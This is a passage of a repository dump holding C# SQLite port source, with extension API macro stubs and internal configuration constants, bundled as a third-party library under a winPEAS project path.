*(*mutex_alloc)(int);\n    //  void (*mutex_enter)(sqlite3_mutex*);\n    //  void (*mutex_free)(sqlite3_mutex*);\n    //  void (*mutex_leave)(sqlite3_mutex*);\n    //  int (*mutex_try)(sqlite3_mutex*);\n    //  int (*open_v2)(const char*,sqlite3**,int,const char*);\n    //  int (*release_memory)(int);\n    //  void (*result_error_nomem)(sqlite3_context*);\n    //  void (*result_error_toobig)(sqlite3_context*);\n    //  int (*sleep)(int);\n    //  void (*soft_heap_limit)(int);\n    //  sqlite3_vfs *(*vfs_find)(const char*);\n    //  int (*vfs_register)(sqlite3_vfs*,int);\n    //  int (*vfs_unregister)(sqlite3_vfs*);\n    //  int (*xthreadsafe)(void);\n    //  void (*result_zeroblob)(sqlite3_context*,int);\n    //  void (*result_error_code)(sqlite3_context*,int);\n    //  int (*test_control)(int, ...);\n    //  void (*randomness)(int,void*);\n    //  sqlite3 *(*context_db_handle)(sqlite3_context*);\n    //int (*extended_result_codes)(sqlite3*,int);\n    //int (*limit)(sqlite3*,int,int);\n    //sqlite3_stmt *(*next_stmt)(sqlite3*,sqlite3_stmt*);\n    //const char *(*sql)(sqlite3_stmt*);\n    //int (*status)(int,int*,int*,int);\n    //};\n    public class sqlite3_api_routines\n    {\n      public sqlite3 context_db_handle;\n    };\n\n    /*\n    ** The following macros redefine the API routines so that they are\n    ** redirected throught the global sqlite3_api structure.\n    **\n    ** This header file is also used by the loadext.c source file\n    ** (part of the main SQLite library - not an extension) so that\n    ** it can get access to the sqlite3_api_routines structure\n    ** definition.  But the main library does not want to redefine\n    ** the API.  So the redefinition macros are only valid if the\n    ** SQLITE_CORE macros is undefined.\n    */\n#if !SQLITE_CORE\n    //#define sqlite3_aggregate_context      sqlite3_api->aggregate_context\n#if !SQLITE_OMIT_DEPRECATED\n    /#define sqlite3_aggregate_count        sqlite3_api->aggregate_count\n#endif\n    //#define sqlite3_bind_blob              sqlite3_api->bind_blob\n    //#define sqlite3_bind_double            sqlite3_api->bind_double\n    //#define sqlite3_bind_int               sqlite3_api->bind_int\n    //#define sqlite3_bind_int64             sqlite3_api->bind_int64\n    //#define sqlite3_bind_null              sqlite3_api->bind_null\n    //#define sqlite3_bind_parameter_count   sqlite3_api->bind_parameter_count\n    //#define sqlite3_bind_parameter_index   sqlite3_api->bind_parameter_index\n    //#define sqlite3_bind_parameter_name    sqlite3_api->bind_parameter_name\n    //#define sqlite3_bind_text              sqlite3_api->bind_text\n    //#define sqlite3_bind_text16            sqlite3_api->bind_text16\n    //#define sqlite3_bind_value             sqlite3_api->bind_value\n    //#define sqlite3_busy_handler           sqlite3_api->busy_handler\n    //#define sqlite3_busy_timeout           sqlite3_api->busy_timeout\n    //#define sqlite3_changes                sqlite3_api->changes\n    //#define sqlite3_close                  sqlite3_api->close\n    //#define sqlite3_collation_needed       sqlite3_api->collation_needed\n    //#define sqlite3_collation_needed16     sqlite3_api->collation_needed16\n    //#define sqlite3_column_blob            sqlite3_api->column_blob\n    //#define sqlite3_column_bytes           sqlite3_api->column_bytes\n    //#define sqlite3_column_bytes16         sqlite3_api->column_bytes16\n    //#define sqlite3_column_count           sqlite3_api->column_count\n    //#define sqlite3_column_database_name   sqlite3_api->column_database_name\n    //#define sqlite3_column_database_name16 sqlite3_api->column_database_name16\n    //#define sqlite3_column_decltype        sqlite3_api->column_decltype\n    //#define sqlite3_column_decltype16      sqlite3_api->column_decltype16\n    //#define sqlite3_column_double          sqlite3_api->column_double\n    //#define sqlite3_column_int             sqlite3_api->column_int\n    //#define sqlite3_column_int64           sqlite3_api->column_int64\n    //#define sqlite3_column_name            sqlite3_api->column_name\n    //#define sqlite3_column_name16          sqlite3_api->column_name16\n    //#define sqlite3_column_origin_name     sqlite3_api->column_origin_name\n    //#define sqlite3_column_origin_name16   sqlite3_api->column_origin_name16\n    //#define sqlite3_column_table_name      sqlite3_api->column_table_name\n    //#define sqlite3_column_table_name16    sqlite3_api->column_table_name16\n    //#define sqlite3_column_text            sqlite3_api->column_text\n    //#define sqlite3_column_text16          sqlite3_api->column_text16\n    //#define sqlite3_column_type            sqlite3_api->column_type\n    //#define sqlite3_column_value           sqlite3_api->column_value\n    //#define sqlite3_commit_hook            sqlite3_api->commit_hook\n    //#define sqlite3_complete               sqlite3_api->complete\n    //#define sqlite3_complete16             sqlite3_api->complete16\n    //#define sqlite3_create_collation       sqlite3_api->create_collation\n    //#define sqlite3_create_collation16     sqlite3_api->create_collation16\n    //#define sqlite3_create_function        sqlite3_api->create_function\n    //#define sqlite3_create_function16      sqlite3_api->create_function16\n    //#define sqlite3_create_module          sqlite3_api->create_module\n    //#define sqlite3_create_module_v2       sqlite3_api->create_module_v2\n    //#define sqlite3_data_count             sqlite3_api->data_count\n    //#define sqlite3_db_handle              sqlite3_api->db_handle\n    //#define sqlite3_declare_vtab           sqlite3_api->declare_vtab\n    //#define sqlite3_enable_shared_cache    sqlite3_api->enable_shared_cache\n    //#define sqlite3_errcode                sqlite3_api->errcode\n    //#define sqlite3_errmsg                 sqlite3_api->errmsg\n    //#define sqlite3_errmsg16               sqlite3_api->errmsg16\n    //#define sqlite3_exec                   sqlite3_api->exec\n#if !SQLITE_OMIT_DEPRECATED\n    /#define sqlite3_expired                sqlite3_api->expired\n#endif\n    //#define sqlite3_finalize               sqlite3_api->finalize\n    //#define //sqlite3_free                   sqlite3_api->free\n    //#define //sqlite3_free_table             sqlite3_api->free_table\n    //#define sqlite3_get_autocommit         sqlite3_api->get_autocommit\n    //#define sqlite3_get_auxdata            sqlite3_api->get_auxdata\n    //#define sqlite3_get_table              sqlite3_api->get_table\n#if !SQLITE_OMIT_DEPRECATED\n    //#define sqlite3_global_recover         sqlite3_api->global_recover\n#endif\n    //#define sqlite3_interrupt              sqlite3_api->interruptx\n    //#define sqlite3_last_insert_rowid      sqlite3_api->last_insert_rowid\n    //#define sqlite3_libversion             sqlite3_api->libversion\n    //#define sqlite3_libversion_number      sqlite3_api->libversion_number\n    //#define sqlite3Malloc                 sqlite3_api->malloc\n    //#define sqlite3_mprintf                sqlite3_api->mprintf\n    //#define sqlite3_open                   sqlite3_api.open\n    //#define sqlite3_open16                 sqlite3_api.open16\n    //#define sqlite3_prepare                sqlite3_api.prepare\n    //#define sqlite3_prepare16              sqlite3_api.prepare16\n    //#define sqlite3_prepare_v2             sqlite3_api.prepare_v2\n    //#define sqlite3_prepare16_v2           sqlite3_api.prepare16_v2\n    //#define sqlite3_profile                sqlite3_api.profile\n    //#define sqlite3_progress_handler       sqlite3_api.progress_handler\n    //#define sqlite3_realloc                sqlite3_api->realloc\n    //#define sqlite3_reset                  sqlite3_api->reset\n    //#define sqlite3_result_blob            sqlite3_api->result_blob\n    //#define sqlite3_result_double          sqlite3_api->result_double\n    //#define sqlite3_result_error           sqlite3_api->result_error\n    //#define sqlite3_result_error16         sqlite3_api->result_error16\n    //#define sqlite3_result_int             sqlite3_api->result_int\n    //#define sqlite3_result_int64           sqlite3_api->result_int64\n    //#define sqlite3_result_null            sqlite3_api->result_null\n    //#define sqlite3_result_text            sqlite3_api->result_text\n    //#define sqlite3_result_text16          sqlite3_api->result_text16\n    //#define sqlite3_result_text16be        sqlite3_api->result_text16be\n    //#define sqlite3_result_text16le        sqlite3_api->result_text16le\n    //#define sqlite3_result_value           sqlite3_api->result_value\n    //#define sqlite3_rollback_hook          sqlite3_api->rollback_hook\n    //#define sqlite3_set_authorizer         sqlite3_api->set_authorizer\n    //#define sqlite3_set_auxdata            sqlite3_api->set_auxdata\n    //#define sqlite3_snprintf               sqlite3_api->snprintf\n    //#define sqlite3_step                   sqlite3_api->step\n    //#define sqlite3_table_column_metadata  sqlite3_api->table_column_metadata\n    //#define sqlite3_thread_cleanup         sqlite3_api->thread_cleanup\n    //#define sqlite3_total_changes          sqlite3_api->total_changes\n    //#define sqlite3_trace                  sqlite3_api->trace\n#if !SQLITE_OMIT_DEPRECATED\n    //#define sqlite3_transfer_bindings      sqlite3_api->transfer_bindings\n#endif\n    //#define sqlite3_update_hook            sqlite3_api->update_hook\n    //#define sqlite3_user_data              sqlite3_api->user_data\n    //#define sqlite3_value_blob             sqlite3_api->value_blob\n    //#define sqlite3_value_bytes            sqlite3_api->value_bytes\n    //#define sqlite3_value_bytes16          sqlite3_api->value_bytes16\n    //#define sqlite3_value_double           sqlite3_api->value_double\n    //#define sqlite3_value_int              sqlite3_api->value_int\n    //#define sqlite3_value_int64            sqlite3_api->value_int64\n    //#define sqlite3_value_numeric_type     sqlite3_api->value_numeric_type\n    //#define sqlite3_value_text             sqlite3_api->value_text\n    //#define sqlite3_value_text16           sqlite3_api->value_text16\n    //#define sqlite3_value_text16be         sqlite3_api->value_text16be\n    //#define sqlite3_value_text16le         sqlite3_api->value_text16le\n    //#define sqlite3_value_type             sqlite3_api->value_type\n    //#define sqlite3_vmprintf               sqlite3_api->vmprintf\n    //#define sqlite3_overload_function      sqlite3_api->overload_function\n    //#define sqlite3_prepare_v2             sqlite3_api.prepare_v2\n    //#define sqlite3_prepare16_v2           sqlite3_api.prepare16_v2\n    //#define sqlite3_clear_bindings         sqlite3_api->clear_bindings\n    //#define sqlite3_bind_zeroblob          sqlite3_api->bind_zeroblob\n    //#define sqlite3_blob_bytes             sqlite3_api->blob_bytes\n    //#define sqlite3_blob_close             sqlite3_api->blob_close\n    //#define sqlite3_blob_open              sqlite3_api->blob_open\n    //#define sqlite3_blob_read              sqlite3_api->blob_read\n    //#define sqlite3_blob_write             sqlite3_api->blob_write\n    //#define sqlite3_create_collation_v2    sqlite3_api->create_collation_v2\n    //#define sqlite3_file_control           sqlite3_api->file_control\n    //#define sqlite3_memory_highwater       sqlite3_api->memory_highwater\n    //#define sqlite3_memory_used            sqlite3_api->memory_used\n    //#define sqlite3MutexAlloc            sqlite3_api->mutex_alloc\n    //#define sqlite3_mutex_enter            sqlite3_api->mutex_enter\n    //#define sqlite3_mutex_free             sqlite3_api->mutex_free\n    //#define sqlite3_mutex_leave            sqlite3_api->mutex_leave\n    //#define sqlite3_mutex_try              sqlite3_api->mutex_try\n    //#define sqlite3_open_v2                sqlite3_api.open_v2\n    //#define sqlite3_release_memory         sqlite3_api->release_memory\n    //#define sqlite3_result_error_nomem     sqlite3_api->result_error_nomem\n    //#define sqlite3_result_error_toobig    sqlite3_api->result_error_toobig\n    //#define sqlite3_sleep                  sqlite3_api->sleep\n    //#define sqlite3_soft_heap_limit        sqlite3_api->soft_heap_limit\n    //#define sqlite3_vfs_find               sqlite3_api->vfs_find\n    //#define sqlite3_vfs_register           sqlite3_api->vfs_register\n    //#define sqlite3_vfs_unregister         sqlite3_api->vfs_unregister\n    //#define sqlite3_threadsafe             sqlite3_api->xthreadsafe\n    //#define sqlite3_result_zeroblob        sqlite3_api->result_zeroblob\n    //#define sqlite3_result_error_code      sqlite3_api->result_error_code\n    //#define sqlite3_test_control           sqlite3_api->test_control\n    //#define sqlite3_randomness             sqlite3_api->randomness\n    //#define sqlite3_context_db_handle      sqlite3_api->context_db_handle\n    //#define sqlite3_extended_result_codes  sqlite3_api->extended_result_codes\n    //#define sqlite3_limit                  sqlite3_api->limit\n    //#define sqlite3_next_stmt              sqlite3_api->next_stmt\n    //#define sqlite3_sql                    sqlite3_api->sql\n    //#define sqlite3_status                 sqlite3_api->status\n#endif //* SQLITE_CORE */\n\n    //#define SQLITE_EXTENSION_INIT1     const sqlite3_api_routines *sqlite3_api = 0;\n    //#define SQLITE_EXTENSION_INIT2(v)  sqlite3_api = v;\n\n#endif //* _SQLITE3EXT_H_ */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/sqliteInt_h.cs",
    "content": "#define SQLITE_MAX_EXPR_DEPTH\n\nusing System;\nusing System.Diagnostics;\nusing System.Text;\nusing Bitmask = System.UInt64;\nusing i16 = System.Int16;\nusing i64 = System.Int64;\nusing sqlite3_int64 = System.Int64;\n\nusing u8 = System.Byte;\nusing u16 = System.UInt16;\nusing u32 = System.UInt32;\nusing u64 = System.UInt64;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using sqlite3_value = CSSQLite.Mem;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** Internal interface definitions for SQLite.\n    **\n    ** @(#) $Id: sqliteInt.h,v 1.898 2009/08/10 03:57:58 shane Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#if !_SQLITEINT_H_\n    //#define _SQLITEINT_H_\n\n    /*\n    ** Include the configuration header output by 'configure' if we're using the\n    ** autoconf-based build\n    */\n#if _HAVE_SQLITE_CONFIG_H\n//#include \"config.h\"\n#endif\n    //#include \"sqliteLimit.h\"\n\n    /* Disable nuisance warnings on Borland compilers */\n    //#if defined(__BORLANDC__)\n    //#pragma warn -rch /* unreachable code */\n    //#pragma warn -ccc /* Condition is always true or false */\n    //#pragma warn -aus /* Assigned value is never used */\n    //#pragma warn -csu /* Comparing signed and unsigned */\n    //#pragma warn -spa /* Suspicious pointer arithmetic */\n    //#endif\n\n    /* Needed for various definitions... */\n    //#if !_GNU_SOURCE\n    //#define _GNU_SOURCE\n    //#endif\n    /*\n    ** Include standard header files as necessary\n    */\n#if HAVE_STDINT_H\n//#include <stdint.h>\n#endif\n#if HAVE_INTTYPES_H\n//#include <inttypes.h>\n#endif\n\n    /*\n** This macro is used to \"hide\" some ugliness in casting an int\n** value to a ptr value under the MSVC 64-bit compiler.   Casting\n** non 64-bit values to ptr types results in a \"hard\" error with\n** the MSVC 64-bit compiler which this attempts to avoid.\n**\n** A simple compiler pragma or casting sequence could not be found\n** to correct this in all situations, so this macro was introduced.\n**\n** It could be argued that the intptr_t type could be used in this\n** case, but that type is not available on all compilers, or\n** requires the #include of specific headers which differs between\n** platforms.\n**\n** Ticket #3860:  The llvm-gcc-4.2 compiler from Apple chokes on\n** the ((void*)&((char*)0)[X]) construct.  But MSVC chokes on ((void*)(X)).\n** So we have to define the macros in different ways depending on the\n** compiler.\n*/\n    //#if defined(__GNUC__)\n    //# if defined(HAVE_STDINT_H)\n    //#   define SQLITE_INT_TO_PTR(X)  ((void*)(intptr_t)(X))\n    //#   define SQLITE_PTR_TO_INT(X)  ((int)(intptr_t)(X))\n    //# else\n    //#   define SQLITE_INT_TO_PTR(X)  ((void*)(X))\n    //#   define SQLITE_PTR_TO_INT(X)  ((int)(X))\n    //# endif\n    //#else\n    //# define SQLITE_INT_TO_PTR(X)   ((void*)&((char*)0)[X])\n    //# define SQLITE_PTR_TO_INT(X)   ((int)(((char*)X)-(char*)0))\n    //#endif\n\n    /*\n    ** These #defines should enable >2GB file support on POSIX if the\n    ** underlying operating system supports it.  If the OS lacks\n    ** large file support, or if the OS is windows, these should be no-ops.\n    **\n    ** Ticket #2739:  The _LARGEFILE_SOURCE macro must appear before any\n    ** system #includes.  Hence, this block of code must be the very first\n    ** code in all source files.\n    **\n    ** Large file support can be disabled using the -DSQLITE_DISABLE_LFS switch\n    ** on the compiler command line.  This is necessary if you are compiling\n    ** on a recent machine (ex: RedHat 7.2) but you want your code to work\n    ** on an older machine (ex: RedHat 6.0).  If you compile on RedHat 7.2\n    ** without this option, LFS is enable.  But LFS does not exist in the kernel\n    ** in RedHat 6.0, so the code won't work.  Hence, for maximum binary\n    ** portability you should omit LFS.\n    **\n    ** Similar is true for Mac OS X.  LFS is only supported on Mac OS X 9 and later.\n    */\n#if !SQLITE_DISABLE_LFS\nconst int _LARGE_FILE = 1;//# define _LARGE_FILE       1\n#if !_FILE_OFFSET_BITS\nconst int _FILE_OFFSET_BITS = 64;//#   define _FILE_OFFSET_BITS 64\n# endif\nconst int _LARGEFILE_SOURCE = 1; //# define _LARGEFILE_SOURCE 1\n#endif\n\n\n\n\n    /*\n** The SQLITE_THREADSAFE macro must be defined as either 0 or 1.\n** Older versions of SQLite used an optional THREADSAFE macro.\n** We support that for legacy\n*/\n#if !SQLITE_THREADSAFE\n#if THREADSAFE\n//# define SQLITE_THREADSAFE THREADSAFE\n#else\n    //# define SQLITE_THREADSAFE 1\n    const int SQLITE_THREADSAFE = 1;\n#endif\n#else\nconst int SQLITE_THREADSAFE = 1;\n#endif\n\n    /*\n** The SQLITE_DEFAULT_MEMSTATUS macro must be defined as either 0 or 1.\n** It determines whether or not the features related to\n** SQLITE_CONFIG_MEMSTATUS are available by default or not. This value can\n** be overridden at runtime using the sqlite3_config() API.\n*/\n#if !(SQLITE_DEFAULT_MEMSTATUS)\n    //# define SQLITE_DEFAULT_MEMSTATUS 1\n    const int SQLITE_DEFAULT_MEMSTATUS = 1;\n#endif\n\n    /*\n** Exactly one of the following macros must be defined in order to\n** specify which memory allocation subsystem to use.\n**\n**     SQLITE_SYSTEM_MALLOC          // Use normal system malloc()\n**     SQLITE_MEMDEBUG               // Debugging version of system malloc()\n**     SQLITE_MEMORY_SIZE            // internal allocator #1\n**     SQLITE_MMAP_HEAP_SIZE         // internal mmap() allocator\n**     SQLITE_POW2_MEMORY_SIZE       // internal power-of-two allocator\n**\n** If none of the above are defined, then set SQLITE_SYSTEM_MALLOC as\n** the default.\n*/\n    //#if defined(SQLITE_SYSTEM_MALLOC)+defined(SQLITE_MEMDEBUG)+\\\n    //    defined(SQLITE_MEMORY_SIZE)+defined(SQLITE_MMAP_HEAP_SIZE)+\\\n    //    defined(SQLITE_POW2_MEMORY_SIZE)>1\n    //# error \"At most one of the following compile-time configuration options\\\n    // is allows: SQLITE_SYSTEM_MALLOC, SQLITE_MEMDEBUG, SQLITE_MEMORY_SIZE,\\\n    // SQLITE_MMAP_HEAP_SIZE, SQLITE_POW2_MEMORY_SIZE\"\n    //#endif\n    //#if defined(SQLITE_SYSTEM_MALLOC)+defined(SQLITE_MEMDEBUG)+\\\n    //    defined(SQLITE_MEMORY_SIZE)+defined(SQLITE_MMAP_HEAP_SIZE)+\\\n    //    defined(SQLITE_POW2_MEMORY_SIZE)==0\n    //# define SQLITE_SYSTEM_MALLOC 1\n    //#endif\n\n    /*\n    ** If SQLITE_MALLOC_SOFT_LIMIT is not zero, then try to keep the\n    ** sizes of memory allocations below this value where possible.\n    */\n#if !(SQLITE_MALLOC_SOFT_LIMIT)\n    const int SQLITE_MALLOC_SOFT_LIMIT = 1024;\n#endif\n\n    /*\n** We need to define _XOPEN_SOURCE as follows in order to enable\n** recursive mutexes on most Unix systems.  But Mac OS X is different.\n** The _XOPEN_SOURCE define causes problems for Mac OS X we are told,\n** so it is omitted there.  See ticket #2673.\n**\n** Later we learn that _XOPEN_SOURCE is poorly or incorrectly\n** implemented on some systems.  So we avoid defining it at all\n** if it is already defined or if it is unneeded because we are\n** not doing a threadsafe build.  Ticket #2681.\n**\n** See also ticket #2741.\n*/\n#if !_XOPEN_SOURCE && !__DARWIN__ && !__APPLE__ && SQLITE_THREADSAFE\nconst int _XOPEN_SOURCE = 500;//#define _XOPEN_SOURCE 500  /* Needed to enable pthread recursive mutexes */\n#endif\n\n    /*\n** The TCL headers are only needed when compiling the TCL bindings.\n*/\n#if SQLITE_TCL || TCLSH\n//# include <tcl.h>\n#endif\n\n    /*\n** Many people are failing to set -DNDEBUG=1 when compiling SQLite.\n** Setting NDEBUG makes the code smaller and run faster.  So the following\n** lines are added to automatically set NDEBUG unless the -DSQLITE_DEBUG=1\n** option is set.  Thus NDEBUG becomes an opt-in rather than an opt-out\n** feature.\n*/\n#if !NDEBUG && !SQLITE_DEBUG\nconst int NDEBUG = 1;//# define NDEBUG 1\n#endif\n\n    /*\n** The testcase() macro is used to aid in coverage testing.  When\n** doing coverage testing, the condition inside the argument to\n** testcase() must be evaluated both true and false in order to\n** get full branch coverage.  The testcase() macro is inserted\n** to help ensure adequate test coverage in places where simple\n** condition/decision coverage is inadequate.  For example, testcase()\n** can be used to make sure boundary values are tested.  For\n** bitmask tests, testcase() can be used to make sure each bit\n** is significant and used at least once.  On switch statements\n** where multiple cases go to the same block of code, testcase()\n** can insure that all cases are evaluated.\n**\n*/\n#if SQLITE_COVERAGE_TEST\nvoid sqlite3Coverage(int);\n//# define testcase(X)  if( X ){ sqlite3Coverage(__LINE__); }\n#else\n    //# define testcase(X)\n    static void testcase<T>( T X ) { }\n#endif\n\n    /*\n** The TESTONLY macro is used to enclose variable declarations or\n** other bits of code that are needed to support the arguments\n** within testcase() and assert() macros.\n*/\n#if !NDEBUG || SQLITE_COVERAGE_TEST\n    //# define TESTONLY(X)  X\n    // -- Need workaround for C#, since inline macros don't exist\n#else\n//# define TESTONLY(X)\n#endif\n\n    /*\n** Sometimes we need a small amount of code such as a variable initialization\n** to setup for a later assert() statement.  We do not want this code to\n** appear when assert() is disabled.  The following macro is therefore\n** used to contain that setup code.  The \"VVA\" acronym stands for\n** \"Verification, Validation, and Accreditation\".  In other words, the\n** code within VVA_ONLY() will only run during verification processes.\n*/\n#if !NDEBUG\n    //# define VVA_ONLY(X)  X\n#else\n//# define VVA_ONLY(X)\n#endif\n\n    /*\n** The ALWAYS and NEVER macros surround boolean expressions which\n** are intended to always be true or false, respectively.  Such\n** expressions could be omitted from the code completely.  But they\n** are included in a few cases in order to enhance the resilience\n** of SQLite to unexpected behavior - to make the code \"self-healing\"\n** or \"ductile\" rather than being \"brittle\" and crashing at the first\n** hint of unplanned behavior.\n**\n** In other words, ALWAYS and NEVER are added for defensive code.\n**\n** When doing coverage testing ALWAYS and NEVER are hard-coded to\n** be true and false so that the unreachable code then specify will\n** not be counted as untested code.\n*/\n#if SQLITE_COVERAGE_TEST\n//# define ALWAYS(X)      (1)\n//# define NEVER(X)       (0)\n#elif !NDEBUG\n    //# define ALWAYS(X)      ((X)?1:(assert(0),0))\n    static bool ALWAYS( bool X ) { if ( X != true ) Debug.Assert( false ); return true; }\n    static int ALWAYS( int X ) { if ( X == 0 ) Debug.Assert( false ); return 1; }\n    static bool ALWAYS<T>( T X ) { if ( X == null ) Debug.Assert( false ); return true; }\n\n    //# define NEVER(X)       ((X)?(assert(0),1):0)\n    static bool NEVER( bool X ) { if ( X == true ) Debug.Assert( false ); return false; }\n    static byte NEVER( byte X ) { if ( X != 0 ) Debug.Assert( false ); return 0; }\n    static int NEVER( int X ) { if ( X != 0 ) Debug.Assert( false ); return 0; }\n    static bool NEVER<T>( T X ) { if ( X != null ) Debug.Assert( false ); return false; }\n#else\n//# define ALWAYS(X)      (X)\n    static bool ALWAYS(bool X) { return X; }\n    static byte ALWAYS(byte X) { return X; }\n    static int ALWAYS(int X) { return X; }\nstatic bool ALWAYS<T>( T X ) { return true; }\n\n//# define NEVER(X)       (X)\nstatic bool NEVER(bool X) { return X; }\nstatic byte NEVER(byte X) { return X; }\nstatic int NEVER(int X) { return X; }\nstatic bool NEVER<T>(T X) { return false; }\n#endif\n\n    /*\n** The macro unlikely() is a hint that surrounds a boolean\n** expression that is usually false.  Macro likely() surrounds\n** a boolean expression that is usually true.  GCC is able to\n** use these hints to generate better code, sometimes.\n*/\n#if (__GNUC__) && FALSE\n//# define likely(X)    __builtin_expect((X),1)\n//# define unlikely(X)  __builtin_expect((X),0)\n#else\n    //# define likely(X)    !!(X)\n    static bool likely( bool X ) { return !!X; }\n    //# define unlikely(X)  !!(X)\n    static bool unlikely( bool X ) { return !!X; }\n#endif\n\n    //#include \"sqlite3.h\"\n    //#include \"hash.h\"\n    //#include \"parse.h\"\n    //#include <stdio.h>\n    //#include <stdlib.h>\n    //#include <string.h>\n    //#include <assert.h>\n    //#include <stddef.h>\n\n    /*\n    ** If compiling for a processor that lacks floating point support,\n    ** substitute integer for floating-point\n    */\n#if SQLITE_OMIT_FLOATING_POINT\n//# define double sqlite_int64\n//# define LONGDOUBLE_TYPE sqlite_int64\n//#if !SQLITE_BIG_DBL\n//#   define SQLITE_BIG_DBL (((sqlite3_int64)1)<<60)\n//# endif\n//# define SQLITE_OMIT_DATETIME_FUNCS 1\n//# define SQLITE_OMIT_TRACE 1\n//# undef SQLITE_MIXED_ENDIAN_64BIT_FLOAT\n//# undef SQLITE_HAVE_ISNAN\n#endif\n#if !SQLITE_BIG_DBL\n    const double SQLITE_BIG_DBL = ( ( (sqlite3_int64)1 ) << 60 );//# define SQLITE_BIG_DBL (1e99)\n#endif\n\n    /*\n** OMIT_TEMPDB is set to 1 if SQLITE_OMIT_TEMPDB is defined, or 0\n** afterward. Having this macro allows us to cause the C compiler\n** to omit code used by TEMP tables without messy #if !statements.\n*/\n#if SQLITE_OMIT_TEMPDB\n//#define OMIT_TEMPDB 1\n#else\n    static int OMIT_TEMPDB = 0;\n#endif\n\n    /*\n** If the following macro is set to 1, then NULL values are considered\n** distinct when determining whether or not two entries are the same\n** in a UNIQUE index.  This is the way PostgreSQL, Oracle, DB2, MySQL,\n** OCELOT, and Firebird all work.  The SQL92 spec explicitly says this\n** is the way things are suppose to work.\n**\n** If the following macro is set to 0, the NULLs are indistinct for\n** a UNIQUE index.  In this mode, you can only have a single NULL entry\n** for a column declared UNIQUE.  This is the way Informix and SQL Server\n** work.\n*/\n    const int NULL_DISTINCT_FOR_UNIQUE = 1;\n\n    /*\n    ** The \"file format\" number is an integer that is incremented whenever\n    ** the VDBE-level file format changes.  The following macros define the\n    ** the default file format for new databases and the maximum file format\n    ** that the library can read.\n    */\n    public static int SQLITE_MAX_FILE_FORMAT = 4;//#define SQLITE_MAX_FILE_FORMAT 4\n#if !SQLITE_DEFAULT_FILE_FORMAT\n    static int SQLITE_DEFAULT_FILE_FORMAT = 1;//# define SQLITE_DEFAULT_FILE_FORMAT 1\n#endif\n\n    /*\n** Provide a default value for SQLITE_TEMP_STORE in case it is not specified\n** on the command-line\n*/\n#if !SQLITE_TEMP_STORE\n    static int SQLITE_TEMP_STORE = 1;//#define SQLITE_TEMP_STORE 1\n#endif\n\n    /*\n** GCC does not define the offsetof() macro so we'll have to do it\n** ourselves.\n*/\n#if !offsetof\n    //#define offsetof(STRUCTURE,FIELD) ((int)((char*)&((STRUCTURE*)0)->FIELD))\n#endif\n\n    /*\n** Check to see if this machine uses EBCDIC.  (Yes, believe it or\n** not, there are still machines out there that use EBCDIC.)\n*/\n#if FALSE //'A' == '\\301'\n//# define SQLITE_EBCDIC 1\n#else\n    const int SQLITE_ASCII = 1;//#define SQLITE_ASCII 1\n#endif\n\n    /*\n** Integers of known sizes.  These typedefs might change for architectures\n** where the sizes very.  Preprocessor macros are available so that the\n** types can be conveniently redefined at compile-type.  Like this:\n**\n**         cc '-Du32PTR_TYPE=long long int' ...\n*/\n    //#if !u32_TYPE\n    //# ifdef HAVE_u32_T\n    //#  define u32_TYPE u32_t\n    //# else\n    //#  define u32_TYPE unsigned int\n    //# endif\n    //#endif\n    //#if !u3216_TYPE\n    //# ifdef HAVE_u3216_T\n    //#  define u3216_TYPE u3216_t\n    //# else\n    //#  define u3216_TYPE unsigned short int\n    //# endif\n    //#endif\n    //#if !INT16_TYPE\n    //# ifdef HAVE_INT16_T\n    //#  define INT16_TYPE int16_t\n    //# else\n    //#  define INT16_TYPE short int\n    //# endif\n    //#endif\n    //#if !u328_TYPE\n    //# ifdef HAVE_u328_T\n    //#  define u328_TYPE u328_t\n    //# else\n    //#  define u328_TYPE unsigned char\n    //# endif\n    //#endif\n    //#if !INT8_TYPE\n    //# ifdef HAVE_INT8_T\n    //#  define INT8_TYPE int8_t\n    //# else\n    //#  define INT8_TYPE signed char\n    //# endif\n    //#endif\n    //#if !LONGDOUBLE_TYPE\n    //# define LONGDOUBLE_TYPE long double\n    //#endif\n    //typedef sqlite_int64 i64;          /* 8-byte signed integer */\n    //typedef sqlite_u3264 u64;         /* 8-byte unsigned integer */\n    //typedef u32_TYPE u32;           /* 4-byte unsigned integer */\n    //typedef u3216_TYPE u16;           /* 2-byte unsigned integer */\n    //typedef INT16_TYPE i16;            /* 2-byte signed integer */\n    //typedef u328_TYPE u8;             /* 1-byte unsigned integer */\n    //typedef INT8_TYPE i8;              /* 1-byte signed integer */\n\n    /*\n    ** SQLITE_MAX_U32 is a u64 constant that is the maximum u64 value\n    ** that can be stored in a u32 without loss of data.  The value\n    ** is 0x00000000ffffffff.  But because of quirks of some compilers, we\n    ** have to specify the value in the less intuitive manner shown:\n    */\n    //#define SQLITE_MAX_U32  ((((u64)1)<<32)-1)\n    const u32 SQLITE_MAX_U32 = (u32)( ( ( (u64)1 ) << 32 ) - 1 );\n\n\n    /*\n    ** Macros to determine whether the machine is big or little endian,\n    ** evaluated at runtime.\n    */\n#if SQLITE_AMALGAMATION\n//const int sqlite3one = 1;\n#else\n    const bool sqlite3one = true;\n#endif\n#if i386 || __i386__ || _M_IX86\nconst int ;//#define SQLITE_BIGENDIAN    0\nconst int ;//#define SQLITE_LITTLEENDIAN 1\nconst int ;//#define SQLITE_UTF16NATIVE  SQLITE_UTF16LE\n#else\n    static u8 SQLITE_BIGENDIAN = 0;//#define SQLITE_BIGENDIAN    (*(char *)(&sqlite3one)==0)\n    static u8 SQLITE_LITTLEENDIAN = 1;//#define SQLITE_LITTLEENDIAN (*(char *)(&sqlite3one)==1)\n    static u8 SQLITE_UTF16NATIVE = ( SQLITE_BIGENDIAN != 0 ? SQLITE_UTF16BE : SQLITE_UTF16LE );//#define SQLITE_UTF16NATIVE (SQLITE_BIGENDIAN?SQLITE_UTF16BE:SQLITE_UTF16LE)\n#endif\n\n    /*\n** Constants for the largest and smallest possible 64-bit signed integers.\n** These macros are designed to work correctly on both 32-bit and 